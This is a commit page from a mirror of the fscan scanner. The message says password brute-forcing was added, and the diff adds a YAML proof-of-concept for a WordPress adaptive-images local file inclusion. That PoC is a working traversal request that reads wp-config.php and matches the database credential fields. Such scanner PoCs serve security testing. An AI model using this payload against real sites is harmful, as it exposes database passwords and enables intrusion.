archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-25 20:51:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

Browse Source
This commit is contained in:
shadow1ng
2021-02-25 19:53:58 +08:00
parent 0df4e314d1
commit 41deddb132
28 changed files with 480 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
WebScan/pocs/wordpress-ext-adaptive-images-lfi.yml
+13
View File
@@ -0,0 +1,13 @@
name: poc-yaml-wordpress-ext-adaptive-images-lfi
rules:
- method: GET
path: >-
/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://www.anquanke.com/vul/id/1674598
- https://github.com/security-kma/EXPLOITING-CVE-2019-14205